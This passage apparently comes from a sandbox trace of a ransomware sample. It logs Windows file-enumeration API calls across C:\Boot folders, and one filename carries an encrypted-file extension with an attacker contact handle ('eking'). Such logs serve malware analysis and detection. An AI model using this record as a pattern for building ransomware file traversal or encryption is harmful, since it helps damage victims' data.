nFileSizeLow=0x2d7652, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.0-KB956250-v6001-x86.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~2.EKI")) returned 1 [0213.035] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0213.035] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0213.035] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0213.036] FindClose (in: hFindFile=0xc29b48 | out: hFindFile=0xc29b48) returned 1 [0213.036] GetProcessHeap () returned 0xc10000 [0213.036] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcd9de8 | out: hHeap=0xc10000) returned 1 [0213.037] FindNextFileW (in: hFindFile=0xc29ac8, lpFindFileData=0x2e5f960 | out: lpFindFileData=0x2e5f960*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x38572a, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0213.037] GetProcessHeap () returned 0xc10000 [0213.037] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xcd9de8 [0213.038] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0213.039] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0213.040] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD", cAlternateFileName="")) returned 1 [0213.040] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0213.040] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0213.040] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0213.040] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0213.041] GetProcessHeap () returned 0xc10000 [0213.041] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.042] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\bg-BG\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0213.042] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.042] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.042] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0213.042] FindClose (in: hFindFile=0x33e4b68 | out: hFindFile=0x33e4b68) returned 1 [0213.043] GetProcessHeap () returned 0xc10000 [0213.043] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.043] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0213.043] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0213.043] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0213.043] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0213.043] GetProcessHeap () returned 0xc10000 [0213.043] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0213.044] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.044] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.045] GetProcessHeap () returned 0xc10000 [0213.045] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.045] GetProcessHeap () returned 0xc10000 [0213.045] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.045] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b28 [0213.046] GetProcessHeap () returned 0xc10000 [0213.046] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.046] GetProcessHeap () returned 0xc10000 [0213.046] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.046] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0213.046] GetProcessHeap () returned 0xc10000 [0213.046] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.046] GetProcessHeap () returned 0xc10000 [0213.046] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.047] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b28 [0213.051] GetProcessHeap () returned 0xc10000 [0213.051] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.051] GetProcessHeap () returned 0xc10000 [0213.051] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.051] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-GB\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0213.052] GetProcessHeap () returned 0xc10000 [0213.052] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.052] GetProcessHeap () returned 0xc10000 [0213.052] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0213.052] GetProcessHeap () returned 0xc10000 [0213.052] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.052] GetProcessHeap () returned 0xc10000 [0213.052] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0213.053] GetProcessHeap () returned 0xc10000 [0213.053] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.053] GetProcessHeap () returned 0xc10000 [0213.054] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.054] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-MX\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0213.055] GetProcessHeap () returned 0xc10000 [0213.055] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.055] GetProcessHeap () returned 0xc10000 [0213.055] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.055] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\et-EE\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0213.056] GetProcessHeap () returned 0xc10000 [0213.056] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.056] GetProcessHeap () returned 0xc10000 [0213.056] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.056] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0213.057] GetProcessHeap () returned 0xc10000 [0213.057] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.057] GetProcessHeap () returned 0xc10000 [0213.057] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.057] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0213.061] GetProcessHeap () returned 0xc10000 [0213.061] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.061] GetProcessHeap () returned 0xc10000 [0213.061] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.061] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-CA\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b28 [0213.062] GetProcessHeap () returned 0xc10000 [0213.062] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.063] GetProcessHeap () returned 0xc10000 [0213.063] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0213.063] GetProcessHeap () returned 0xc10000 [0213.063] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.063] GetProcessHeap () returned 0xc10000 [0213.063] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hr-HR\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0213.064] GetProcessHeap () returned 0xc10000 [0213.064] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0213.064] GetProcessHeap () returned 0xc10000 [0213.064] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0213.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b28 [0213.065] GetProcessHeap () returned 